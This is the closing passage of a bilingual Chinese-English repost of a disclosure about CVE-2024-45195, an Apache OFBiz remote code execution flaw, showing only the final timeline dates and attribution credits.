2024 年 8 月 29 日: Apache OFBiz 开发人员表示补丁预计发布时间为 2024 年 9 月上旬。 - September 4, 2024: Apache OFBiz advisory published for CVE-2024-45195 (and other vulnerabilities).
2024 年 9 月 4 日:针对 CVE-2024-45195(和其他漏洞)发布了 Apache OFBiz 公告。 - September 5, 2024: This disclosure.
2024 年 9 月 5 日:本披露。
原文始发于Ryan Emmons:CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)
转载请注明:CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed) | CTF导航